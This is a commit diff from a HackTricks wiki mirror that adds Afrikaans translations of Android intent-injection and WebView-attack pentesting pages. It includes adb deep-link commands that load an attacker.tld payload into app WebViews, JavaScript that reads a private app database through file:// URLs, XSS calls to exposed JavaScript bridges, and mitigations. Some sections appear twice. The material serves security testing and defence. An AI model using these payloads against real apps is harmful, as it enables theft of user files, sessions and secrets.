mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/intent-injecti
This commit is contained in:
parent
87bde6b1ca
commit
7e8ab402ba
@ -1,5 +1,64 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Kyk na: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
||||
# Intent Injection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Intent-inspuiting misbruik komponente wat aanvallers-beheerde Intents of data aanvaar wat later in Intents omgeskakel word. Twee baie algemene patrone tydens Android-app pentests is:
|
||||
|
||||
- Aangemaakte ekstra's aan uitgevoerde Aktiwiteite/Dienste/Uitsendingsontvangers deurgee wat later na bevoorregte, nie-uitgevoerde komponente gestuur word.
|
||||
- Uitgevoerde VIEW/BROWSABLE diep skakels aktiveer wat aanvallers-beheerde URL's na interne WebViews of ander sensitiewe sinke stuur.
|
||||
|
||||
## Diep skakels → WebView sink (URL parameter inspuiting)
|
||||
|
||||
As 'n app 'n pasgemaakte skema diep skakel soos blootstel:
|
||||
```text
|
||||
myscheme://com.example.app/web?url=<attacker_url>
|
||||
```
|
||||
en die ontvangende Aktiviteit stuur die `url` navraagparameter na 'n WebView, kan jy die app dwing om arbitrêre eksterne inhoud in sy eie WebView-konteks te vertoon.
|
||||
|
||||
PoC via adb:
|
||||
```bash
|
||||
# Implicit VIEW intent
|
||||
adb shell am start -a android.intent.action.VIEW \
|
||||
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
|
||||
|
||||
# Or explicitly target an Activity
|
||||
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
|
||||
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
|
||||
```
|
||||
Impact
|
||||
- HTML/JS voer binne die app se WebView-profiel uit.
|
||||
- As JavaScript geaktiveer is (per standaard of as gevolg van verkeerd geordende kontroles), kan jy enige blootgestelde `@JavascriptInterface`-objekte opnoem/gebruiken, WebView-koekies/lokale stoor steel, en pivot.
|
||||
|
||||
Sien ook:
|
||||
|
||||
{{#ref}}
|
||||
webview-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
## Order-of-checks fout wat JavaScript aktiveer
|
||||
|
||||
'n Herhalende fout is om JavaScript (of ander toelaatbare WebView-instellings) te aktiveer voordat die finale URL-toelaatlys/verifikasie voltooi is. As vroeë helpers jou diep skakel aanvaar en die WebView eers geconfigureer word, gebeur jou finale laai met JavaScript reeds geaktiveer selfs al is latere kontroles gebrekkig of te laat.
|
||||
|
||||
Waar om te kyk in decompiled kode:
|
||||
- Meerdere helpers wat die URL anders parse/split/rebuild (inconsistente normalisering).
|
||||
- Oproepe na `getSettings().setJavaScriptEnabled(true)` voordat die laaste gasheer/pad-toelaatlys kontrole.
|
||||
- 'n Pyplyn soos: parse → gedeeltelike valideer → configureer WebView → finale verifieer → loadUrl.
|
||||
|
||||
Mitigations
|
||||
- Kanoniseer een keer en valideer streng; misluk gesluit.
|
||||
- Aktiveer JavaScript slegs nadat alle kontroles geslaag het en net voor die laai van vertroude inhoud.
|
||||
- Vermy om brûe aan onbetroubare oorspronge bloot te stel.
|
||||
|
||||
## Ander klassieke Intent-inspuitingsprimitiewe
|
||||
|
||||
- startActivity/sendBroadcast met aanvaller-geleverde `Intent` ekstra's wat later weer geparseer (`Intent.parseUri(...)`) en uitgevoer word.
|
||||
- Geëxporteerde proxy-komponente wat Intents na nie-geëxporteerde sensitiewe komponente sonder toestemming kontroleer.
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [Android – Toegang tot app-beskermde komponente](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
|
||||
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
|
||||
- [Pwn2Own Ireland 2024 – Samsung S24 aanvalsketting (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
|
||||
- [Demonstrasievideo](https://www.youtube.com/watch?v=LAIr2laU-So)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,25 +1,25 @@
|
||||
# Webview-aanvalle
|
||||
# Webview Aanvalle
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Gids oor WebView-konfigurasies en Sekuriteit
|
||||
## Gids oor WebView Konfigurasies en Sekuriteit
|
||||
|
||||
### Oorsig van WebView-kw vulnerabilities
|
||||
### Oorsig van WebView Kw vulnerabilities
|
||||
|
||||
'n Kritieke aspek van Android-ontwikkeling behels die korrekte hantering van WebViews. Hierdie gids beklemtoon sleutelkonfigurasies en sekuriteitspraktyke om risiko's wat met WebView-gebruik geassosieer word, te verminder.
|
||||
'n Kritieke aspek van Android ontwikkeling behels die korrekte hantering van WebViews. Hierdie gids beklemtoon sleutelkonfigurasies en sekuriteitspraktyke om risiko's wat met WebView gebruik geassosieer word, te verminder.
|
||||
|
||||
.png>)
|
||||
|
||||
### **Lêer Toegang in WebViews**
|
||||
|
||||
Standaard laat WebViews lêertoegang toe. Hierdie funksionaliteit word beheer deur die `setAllowFileAccess()` metode, beskikbaar sedert Android API-vlak 3 (Cupcake 1.5). Toepassings met die **android.permission.READ_EXTERNAL_STORAGE** toestemming kan lêers van eksterne stoorplek lees met 'n lêer-URL skema (`file://path/to/file`).
|
||||
Standaard laat WebViews lêertoegang toe. Hierdie funksionaliteit word beheer deur die `setAllowFileAccess()` metode, beskikbaar sedert Android API vlak 3 (Cupcake 1.5). Toepassings met die **android.permission.READ_EXTERNAL_STORAGE** toestemming kan lêers van eksterne stoor gebruik maak met 'n lêer URL skema (`file://path/to/file`).
|
||||
|
||||
#### **Verouderde Kenmerke: Universele en Lêer Toegang Vanaf URL's**
|
||||
|
||||
- **Universele Toegang Vanaf Lêer-URL's**: Hierdie verouderde kenmerk het kruis-oorsprong versoeke vanaf lêer-URL's toegelaat, wat 'n beduidende sekuriteitsrisiko inhou weens potensiële XSS-aanvalle. Die standaardinstelling is gedeaktiveer (`false`) vir toepassings wat op Android Jelly Bean en nuwer teiken.
|
||||
- **Universele Toegang Vanaf Lêer URL's**: Hierdie verouderde kenmerk het kruis-oorsprong versoeke vanaf lêer URL's toegelaat, wat 'n beduidende sekuriteitsrisiko inhou weens potensiële XSS-aanvalle. Die standaardinstelling is gedeaktiveer (`false`) vir toepassings wat op Android Jelly Bean en nuwer teiken.
|
||||
- Om hierdie instelling te kontroleer, gebruik `getAllowUniversalAccessFromFileURLs()`.
|
||||
- Om hierdie instelling te wysig, gebruik `setAllowUniversalAccessFromFileURLs(boolean)`.
|
||||
- **Lêer Toegang Vanaf Lêer-URL's**: Hierdie kenmerk, ook verouderd, het toegang tot inhoud vanaf ander lêer skema-URL's beheer. Soos universele toegang, is die standaard gedeaktiveer vir verbeterde sekuriteit.
|
||||
- **Lêer Toegang Vanaf Lêer URL's**: Hierdie kenmerk, ook verouderd, het toegang tot inhoud vanaf ander lêer skema URL's beheer. Soos universele toegang, is die standaard gedeaktiveer vir verbeterde sekuriteit.
|
||||
- Gebruik `getAllowFileAccessFromFileURLs()` om te kontroleer en `setAllowFileAccessFromFileURLs(boolean)` om in te stel.
|
||||
|
||||
#### **Veilige Lêer Laai**
|
||||
@ -31,7 +31,7 @@ Om lêerstelsels toegang te deaktiveer terwyl bates en hulpbronne steeds toegank
|
||||
|
||||
#### **WebViewAssetLoader**
|
||||
|
||||
Die **WebViewAssetLoader** klas is die moderne benadering vir die laai van plaaslike lêers. Dit gebruik http(s) URL's om toegang tot plaaslike bates en hulpbronne te verkry, wat ooreenstem met die Same-Origin beleid, en fasiliteer dus CORS-bestuur.
|
||||
Die **WebViewAssetLoader** klas is die moderne benadering vir die laai van plaaslike lêers. Dit gebruik http(s) URL's om toegang tot plaaslike bates en hulpbronne te verkry, wat ooreenstem met die Same-Origin beleid, en fasiliteer dus CORS bestuur.
|
||||
|
||||
### loadUrl
|
||||
|
||||
@ -39,12 +39,12 @@ Dit is 'n algemene funksie wat gebruik word om arbitrêre URL's in 'n webview te
|
||||
```java
|
||||
webview.loadUrl("<url here>")
|
||||
```
|
||||
Ofc, 'n potensiële aanvaller moet nooit in staat wees om die **URL** te **beheer** wat 'n toepassing gaan laai.
|
||||
Ofc, 'n potensiële aanvaller moet nooit in staat wees om die **URL** te **beheer** wat 'n toepassing gaan laai nie.
|
||||
|
||||
### **JavaScript en Intent Skema Hantering**
|
||||
|
||||
- **JavaScript**: Standaard gedeaktiveer in WebViews, dit kan geaktiveer word via `setJavaScriptEnabled()`. Versigtigheid word aanbeveel aangesien die aktivering van JavaScript sonder behoorlike beskerming sekuriteitskwesbaarhede kan inbring.
|
||||
- **Intent Skema**: WebViews kan die `intent` skema hanteer, wat moontlik kan lei tot ontploffings as dit nie versigtig bestuur word nie. 'n Voorbeeld kwesbaarheid het 'n blootgestelde WebView parameter "support_url" ingesluit wat benut kon word om cross-site scripting (XSS) aanvalle uit te voer.
|
||||
- **JavaScript**: Standaard gedeaktiveer in WebViews, dit kan geaktiveer word via `setJavaScriptEnabled()`. Versigtigheid word aanbeveel, aangesien die aktivering van JavaScript sonder behoorlike beskerming sekuriteitskwesbaarhede kan inbring.
|
||||
- **Intent Skema**: WebViews kan die `intent` skema hanteer, wat moontlik tot ontploffings kan lei as dit nie versigtig bestuur word nie. 'n Voorbeeld kwesbaarheid het 'n blootgestelde WebView parameter "support_url" ingesluit wat benut kon word om cross-site scripting (XSS) aanvalle uit te voer.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -52,6 +52,223 @@ Eksploitasiem voorbeeld met adb:
|
||||
```bash
|
||||
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
|
||||
```
|
||||
### Javascript Bridge
|
||||
|
||||
'n Kenmerk word deur Android verskaf wat **JavaScript** in 'n WebView in staat stel om **natuurlike Android-app funksies** aan te roep. Dit word bereik deur die `addJavascriptInterface` metode te gebruik, wat JavaScript met natuurlike Android funksies integreer, genoem 'n _WebView JavaScript bridge_. Versigtigheid word aanbeveel aangesien hierdie metode alle bladsye binne die WebView toelaat om toegang te verkry tot die geregistreerde JavaScript Interface objek, wat 'n sekuriteitsrisiko inhou as sensitiewe inligting deur hierdie interfaces blootgestel word.
|
||||
|
||||
- **Uiterste versigtigheid is nodig** vir toepassings wat op Android weergawes onder 4.2 teiken weens 'n kwesbaarheid wat afstandkode-uitvoering deur kwaadwillige JavaScript toelaat, wat refleksie benut.
|
||||
|
||||
#### Implementing a JavaScript Bridge
|
||||
|
||||
- **JavaScript interfaces** kan met natuurlike kode kommunikeer, soos in die voorbeelde waar 'n klasmetode aan JavaScript blootgestel word:
|
||||
```javascript
|
||||
@JavascriptInterface
|
||||
public String getSecret() {
|
||||
return "SuperSecretPassword";
|
||||
};
|
||||
```
|
||||
- JavaScript-brug is geaktiveer deur 'n koppelvlak by die WebView te voeg:
|
||||
```javascript
|
||||
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
|
||||
webView.reload()
|
||||
```
|
||||
- Potensiële uitbuiting deur JavaScript, byvoorbeeld, via 'n XSS-aanval, stel die oproep van blootgestelde Java-metodes in staat:
|
||||
```html
|
||||
<script>
|
||||
alert(javascriptBridge.getSecret())
|
||||
</script>
|
||||
```
|
||||
- Om risiko's te verminder, **beperk die gebruik van die JavaScript-brug** tot kode wat saam met die APK gestuur is en voorkom die laai van JavaScript vanaf afstandbronne. Vir ouer toestelle, stel die minimum API-vlak op 17.
|
||||
|
||||
### Refleksie-gebaseerde Afstandkode-uitvoering (RCE)
|
||||
|
||||
- 'n Gedokumenteerde metode maak dit moontlik om RCE te bereik deur refleksie deur 'n spesifieke payload uit te voer. Die `@JavascriptInterface` annotasie voorkom egter ongeoorloofde metode-toegang, wat die aanvaloppervlak beperk.
|
||||
|
||||
### Afstanddebugging
|
||||
|
||||
- **Afstanddebugging** is moontlik met **Chrome Developer Tools**, wat interaksie en arbitrêre JavaScript-uitvoering binne die WebView-inhoud moontlik maak.
|
||||
|
||||
#### Aktivering van Afstanddebugging
|
||||
|
||||
- Afstanddebugging kan geaktiveer word vir alle WebViews binne 'n toepassing deur:
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
WebView.setWebContentsDebuggingEnabled(true);
|
||||
}
|
||||
```
|
||||
- Om foutopsporing voorwaardelik in te skakel op grond van die toepassing se foutopsporingstoestand:
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
|
||||
{ WebView.setWebContentsDebuggingEnabled(true); }
|
||||
}
|
||||
```
|
||||
## Exfiltreer arbitrêre lêers
|
||||
|
||||
- Demonstreer die eksfiltrasie van arbitrêre lêers met behulp van 'n XMLHttpRequest:
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest()
|
||||
xhr.onreadystatechange = function () {
|
||||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||
alert(xhr.responseText)
|
||||
}
|
||||
}
|
||||
xhr.open(
|
||||
"GET",
|
||||
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
|
||||
true
|
||||
)
|
||||
xhr.send(null)
|
||||
```
|
||||
# Webview Aanvalle
|
||||
|
||||
## Gids oor WebView Konfigurasies en Sekuriteit
|
||||
|
||||
### Oorsig van WebView Kw vulnerabilities
|
||||
|
||||
'n Kritieke aspek van Android ontwikkeling behels die korrekte hantering van WebViews. Hierdie gids beklemtoon sleutelkonfigurasies en sekuriteitspraktyke om risiko's wat met WebView gebruik geassosieer word, te verminder.
|
||||
|
||||
.png>)
|
||||
|
||||
### **Lêer Toegang in WebViews**
|
||||
|
||||
Standaard laat WebViews lêertoegang toe. Hierdie funksionaliteit word beheer deur die `setAllowFileAccess()` metode, beskikbaar sedert Android API vlak 3 (Cupcake 1.5). Toepassings met die **android.permission.READ_EXTERNAL_STORAGE** toestemming kan lêers van eksterne stoor gebruik maak met 'n lêer-URL skema (`file://path/to/file`).
|
||||
|
||||
#### **Verouderde Kenmerke: Universele en Lêer Toegang Vanaf URL's**
|
||||
|
||||
- **Universele Toegang Vanaf Lêer URL's**: Hierdie verouderde kenmerk het kruis-oorsprong versoeke vanaf lêer URL's toegelaat, wat 'n beduidende sekuriteitsrisiko inhou weens potensiële XSS-aanvalle. Die standaardinstelling is gedeaktiveer (`false`) vir toepassings wat op Android Jelly Bean en nuwer teiken.
|
||||
- Om hierdie instelling te kontroleer, gebruik `getAllowUniversalAccessFromFileURLs()`.
|
||||
- Om hierdie instelling te wysig, gebruik `setAllowUniversalAccessFromFileURLs(boolean)`.
|
||||
- **Lêer Toegang Vanaf Lêer URL's**: Hierdie kenmerk, ook verouderd, het toegang tot inhoud vanaf ander lêer skema URL's beheer. Soos universele toegang, is die standaard gedeaktiveer vir verbeterde sekuriteit.
|
||||
- Gebruik `getAllowFileAccessFromFileURLs()` om te kontroleer en `setAllowFileAccessFromFileURLs(boolean)` om in te stel.
|
||||
|
||||
#### **Veilige Lêer Laai**
|
||||
|
||||
Om lêerstelsels toegang te deaktiveer terwyl bates en hulpbronne steeds toeganklik is, word die `setAllowFileAccess()` metode gebruik. Met Android R en hoër is die standaardinstelling `false`.
|
||||
|
||||
- Kontroleer met `getAllowFileAccess()`.
|
||||
- Aktiveer of deaktiveer met `setAllowFileAccess(boolean)`.
|
||||
|
||||
#### **WebViewAssetLoader**
|
||||
|
||||
Die **WebViewAssetLoader** klas is die moderne benadering vir die laai van plaaslike lêers. Dit gebruik http(s) URL's om toegang tot plaaslike bates en hulpbronne te verkry, wat ooreenstem met die Same-Origin beleid, en fasiliteer dus CORS bestuur.
|
||||
|
||||
### loadUrl
|
||||
|
||||
Dit is 'n algemene funksie wat gebruik word om arbitrêre URL's in 'n webview te laai:
|
||||
```java
|
||||
webview.loadUrl("<url here>")
|
||||
```
|
||||
Natuurlik, 'n potensiële aanvaller moet nooit in staat wees om die **URL** te **beheer** wat 'n toepassing gaan laai nie.
|
||||
|
||||
### Diep-skakeling in interne WebView (aangepaste skema → WebView sink)
|
||||
|
||||
Baie toepassings registreer aangepaste skemas/paaie wat 'n gebruiker-geleverde URL na 'n in-toepassing WebView lei. As die diep skakel uitgevoer word (VIEW + BROWSABLE), kan 'n aanvaller die toepassing dwing om arbitrêre eksterne inhoud binne sy WebView-konteks te vertoon.
|
||||
|
||||
Tipiese manifestpatroon (vereenvoudig):
|
||||
```xml
|
||||
<activity android:name=".MainActivity" android:exported="true">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.VIEW" />
|
||||
<category android:name="android.intent.category.DEFAULT" />
|
||||
<category android:name="android.intent.category.BROWSABLE" />
|
||||
<data android:scheme="myscheme" android:host="com.example.app" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
Algemene kodevloei (vereenvoudig):
|
||||
```java
|
||||
// Entry activity
|
||||
@Override
|
||||
protected void onNewIntent(Intent intent) {
|
||||
Uri deeplink = intent.getData();
|
||||
String url = deeplink.getQueryParameter("url"); // attacker-controlled
|
||||
if (deeplink.getPathSegments().get(0).equals("web")) {
|
||||
Intent i = new Intent(this, WebActivity.class);
|
||||
i.putExtra("url", url);
|
||||
startActivity(i);
|
||||
}
|
||||
}
|
||||
|
||||
// WebActivity sink
|
||||
webView.loadUrl(getIntent().getStringExtra("url"));
|
||||
```
|
||||
Aanvalspatroon en PoC via adb:
|
||||
```bash
|
||||
# Template – force load in internal WebView
|
||||
adb shell am start -a android.intent.action.VIEW \
|
||||
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
|
||||
|
||||
# If a specific Activity must be targeted
|
||||
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
|
||||
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
|
||||
```
|
||||
Impact: die afstandlike bladsy loop in die app WebView konteks (koekies/sessie van die app WebView profiel, toegang tot enige blootgestelde @JavascriptInterface, potensiële toegang tot content:// en file:// afhangende van instellings).
|
||||
|
||||
Hunting tips:
|
||||
- Grep decompiled bronne vir `getQueryParameter("url")`, `loadUrl(`, `WebView` sinks, en deep-link handlers (`onCreate/onNewIntent`).
|
||||
- Hersien die manifest vir VIEW+BROWSABLE filters en pasgemaakte skemas/gashere wat aan aktiwiteite koppel wat later 'n WebView begin.
|
||||
- Kontroleer of daar verskeie deep-link paaie is (bv. 'n “buitelandse blaaiert” pad teenoor 'n “interne webview” pad) en verkies die een wat binne die app weergegee word.
|
||||
|
||||
### Enabling JavaScript before verification (order-of-checks bug)
|
||||
|
||||
'n Gereelde verhardingsfout is om JavaScript in te skakel of ontspanne WebView instellings te konfigureer voordat die finale toelaatlys/verifikasie van die teiken-URL voltooi is. As die verifikasie onbestendig is oor helpers of te laat gebeur, kan 'n aanvaller deep link 'n toestand bereik waar:
|
||||
|
||||
1) WebView instellings van toepassing is (bv. `setJavaScriptEnabled(true)`), en
|
||||
2) Die onbetroubare URL word gelaai met JavaScript geaktiveer.
|
||||
|
||||
Bug pattern (pseudocode):
|
||||
```java
|
||||
// 1) Parse/early checks
|
||||
Uri u = parse(intent);
|
||||
if (!looksValid(u)) return;
|
||||
|
||||
// 2) Configure WebView BEFORE final checks
|
||||
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
|
||||
configureMixedContent();
|
||||
|
||||
// 3) Do final verification (late)
|
||||
if (!finalAllowlist(u)) return; // too late – JS already enabled
|
||||
|
||||
// 4) Load
|
||||
webView.loadUrl(u.toString());
|
||||
```
|
||||
Waarom dit exploiteerbaar is
|
||||
- Inkonsekwente normalisering: helpers verdeel/bou die URL anders as die finale kontrole, wat 'n wanverhouding skep wat 'n kwaadwillige URL kan benut.
|
||||
- Verkeerd geordende pyplyn: die aktivering van JS in stap 2 geld globaal vir die WebView-instantie, wat die finale laai beïnvloed selfs al sou verifikasie later misluk.
|
||||
|
||||
Hoe om te toets
|
||||
- Skep diep-skakel payloads wat vroeë kontroles slaag en die WebView-konfigurasie-webwerf bereik.
|
||||
- Gebruik adb om implisiete VIEW intents te aktiveer wat 'n `url=` parameter bevat wat deur jou beheer word:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW \
|
||||
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
|
||||
```
|
||||
As die uitbuiting slaag, voer jou payload JavaScript in die app se WebView uit. Van daar af, ondersoek blootgestelde brûe:
|
||||
```html
|
||||
<script>
|
||||
for (let k in window) {
|
||||
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
|
||||
}
|
||||
</script>
|
||||
```
|
||||
Defensiewe leiding
|
||||
- Kanoniseer een keer; valideer streng teen 'n enkele bron van waarheid (skema/gasheer/pad/aanvraag).
|
||||
- Roep slegs `setJavaScriptEnabled(true)` aan nadat alle toelaatlys kontroles geslaag het en net voor die laai van vertroude inhoud.
|
||||
- Vermy om `@JavascriptInterface` aan onbetroubare oorspronge bloot te stel; verkies per-oorsprong toegang.
|
||||
- Oorweeg per-WebView instansies vir vertroude teenoor onbetroubare inhoud, met JS standaard gedeaktiveer.
|
||||
|
||||
### **JavaScript en Intent Skema Hantering**
|
||||
|
||||
- **JavaScript**: Standaard gedeaktiveer in WebViews, dit kan geaktiveer word via `setJavaScriptEnabled()`. Versigtigheid word aanbeveel aangesien die aktivering van JavaScript sonder behoorlike beskerming sekuriteitskwesbaarhede kan inbring.
|
||||
- **Intent Skema**: WebViews kan die `intent` skema hanteer, wat moontlik tot ontploffings kan lei as dit nie versigtig bestuur word nie. 'n Voorbeeld kwesbaarheid het 'n blootgestelde WebView parameter "support_url" ingesluit wat benut kon word om kruis-web scripting (XSS) aanvalle uit te voer.
|
||||
|
||||
.png>)
|
||||
|
||||
Eksploitasi voorbeel met behulp van adb:
|
||||
```bash
|
||||
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
|
||||
```
|
||||
### Javascript Brug
|
||||
|
||||
'n Kenmerk word deur Android verskaf wat **JavaScript** in 'n WebView in staat stel om **natuurlike Android-app funksies** aan te roep. Dit word bereik deur die `addJavascriptInterface` metode te gebruik, wat JavaScript met natuurlike Android funksies integreer, genoem 'n _WebView JavaScript brug_. Versigtigheid word aanbeveel aangesien hierdie metode alle bladsye binne die WebView toelaat om toegang te verkry tot die geregistreerde JavaScript Interface objek, wat 'n sekuriteitsrisiko inhou as sensitiewe inligting deur hierdie interfaces blootgestel word.
|
||||
@ -67,22 +284,22 @@ public String getSecret() {
|
||||
return "SuperSecretPassword";
|
||||
};
|
||||
```
|
||||
- JavaScript-brug is geaktiveer deur 'n koppelvlak aan die WebView toe te voeg:
|
||||
- JavaScript Bridge word geaktiveer deur 'n koppelvlak by die WebView te voeg:
|
||||
```javascript
|
||||
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
|
||||
webView.reload()
|
||||
```
|
||||
- Potensiële uitbuiting deur JavaScript, byvoorbeeld, via 'n XSS-aanval, stel die oproep van blootgestelde Java-metodes in staat:
|
||||
- Potensiële uitbuiting deur middel van JavaScript, byvoorbeeld, via 'n XSS-aanval, stel die oproep van blootgestelde Java-metodes in staat:
|
||||
```html
|
||||
<script>
|
||||
alert(javascriptBridge.getSecret())
|
||||
</script>
|
||||
```
|
||||
- Om risiko's te verminder, **beperk die gebruik van die JavaScript-brug** tot kode wat saam met die APK gestuur is en verhoed dat JavaScript van afstandbronne gelaai word. Stel vir ouer toestelle die minimum API-vlak op 17.
|
||||
- Om risiko's te verminder, **beperk die gebruik van die JavaScript-brug** tot kode wat saam met die APK gestuur is en voorkom die laai van JavaScript vanaf afstandbronne. Stel vir ouer toestelle die minimum API-vlak op 17.
|
||||
|
||||
### Refleksie-gebaseerde Afstandkode-uitvoering (RCE)
|
||||
|
||||
- 'n Gedokumenteerde metode maak dit moontlik om RCE deur refleksie te bereik deur 'n spesifieke payload uit te voer. Die `@JavascriptInterface` annotasie verhoed egter ongeoorloofde metode-toegang, wat die aanvaloppervlak beperk.
|
||||
- 'n Gedokumenteerde metode maak dit moontlik om RCE te bereik deur refleksie deur 'n spesifieke payload uit te voer. Die `@JavascriptInterface` annotasie voorkom egter ongeoorloofde metode-toegang, wat die aanvaloppervlak beperk.
|
||||
|
||||
### Afstandfoutopsporing
|
||||
|
||||
@ -96,7 +313,7 @@ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
WebView.setWebContentsDebuggingEnabled(true);
|
||||
}
|
||||
```
|
||||
- Om foutopsporing voorwaardelik in te skakel gebaseer op die toepassing se foutopsporingstoestand:
|
||||
- Om foutopsporing voorwaardelik in te skakel op grond van die toepassing se foutopsporingstoestand:
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
|
||||
@ -122,10 +339,13 @@ xhr.send(null)
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
- [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
|
||||
- [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
|
||||
- [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
|
||||
- [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
|
||||
- [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
|
||||
- [Hersiening van Android WebViews lêertoegang aanvalsvectors](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
|
||||
- [WheresMyBrowser.Android (demonstrasie app)](https://github.com/authenticationfailure/WheresMyBrowser.Android)
|
||||
- [Android WebView verwysing](https://developer.android.com/reference/android/webkit/WebView)
|
||||
- [Diep Skakels & WebViews Exploitations – Deel II](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
|
||||
- [Diep Skakels & WebViews Exploitations – Deel I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
|
||||
- [Samsung S24 Exploit Ketting Pwn2Own 2024 Stappenplan](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
|
||||
- [Pwn2Own Ierland 2024 – Samsung S24 aanvalsketting (witboek)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
|
||||
- [Demonstrasievideo](https://www.youtube.com/watch?v=LAIr2laU-So)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user